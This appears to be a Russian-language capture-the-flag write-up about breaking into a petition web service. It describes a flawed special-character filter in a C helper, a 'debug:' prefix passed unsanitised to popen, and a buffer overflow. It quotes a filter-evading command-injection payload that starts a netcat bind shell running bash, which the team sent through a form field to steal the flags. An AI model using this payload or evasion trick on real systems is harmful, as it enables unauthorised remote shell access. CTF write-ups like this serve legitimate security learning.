Сервис позволял любому пользователю высказаться против нелегального копирования путем заполнения специальной формы, содержащей поля
FirstName, SecondName, Email, Comment, Id.
После заполнения полей и сабмита, данные записывались в файл signers.txt. Он и представлял главную цель, поскольку хранил флаги.
Сам сервис был написан на питоне, но изначально был без исходника. Еще рядом с ним лежали два каких-то странных сишника: foo.c bar.c.
В начале, пытаясь тщетно декомпильнуть petition.pyc мы начали раскапывать foo.c и bar.c. Хотя судя по strings petition.pyc и по strace соответствующие бинарники не звались, тем не менее petition.pyc содержал такую же строку, как и bar.c: «echo %s | sed ....». Это наводило на мысли, что в сишниках подсказка.
foo брал на вход первый параметр командной строки, обрабатывал его и выдавал результат на экран. Обработка заключалась в фильтрации спецсимволов типа ;|&'"${}...
В нем были найдены следующие баги: если повторить фильтруемый символ два раза подряд, то второй из них не выбрасывался:
while ((ptr = strpbrk(ptr, "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~")) != NULL) { for (j = 0; j < strlen(ptr); j++) { ptr[j] = ptr[j+1]; } ptr[j] = '\0'; ptr++; }
Если написать debug:_string_, то _string_ подставлялась в «echo %s | sed ...» и, таким образом, выполнялась:
if ((ptr = strstr(buf, "debug:")) != NULL) { ptr = ptr + strlen("debug:"); sprintf(cmd, "echo %s | sed s/[]\\!\\\"#$%\\&\\'\\(\\)\\*+,\\-\\.\\/:\\;\\<=\\>?@[\\\\\\^_\\`{\\|}~]/\\ /g", ptr); f = popen(cmd, "r");
Всей этой радостью можно было воспользоваться например так:
./foo 'debug:``netcat$${{IFS}}-lp31337$${{IFS}}-e$${{IFS}}//bin//bash``'
Помимо этого еще было переполнение буфера, если передать строку длиной больше чем 1024 символов.
После выполнения некоторых квестов мы получили питоновский исходник, который помимо прочего содержал в себе следующую функциональность:
создавал временный файл, записывал в него elf файл, потом с помощью него фильтровал входные параметры first, second... при помощи вызова функции sanitize. Загрузив elf в IDA pro, можно было увидеть, что он мало чем отличается от foo, следовательно, содержит, как минимум, те же самые баги.
Для взлома мы посылали строку debug:'debug:``netcat$${{IFS}}-lp31337$${{IFS}}-e$${{IFS}}//bin//bash`` в одном из полей формы, потом подсоединялись к соответсвующей команде netcat`ом, закреплялись и тянули флаги %).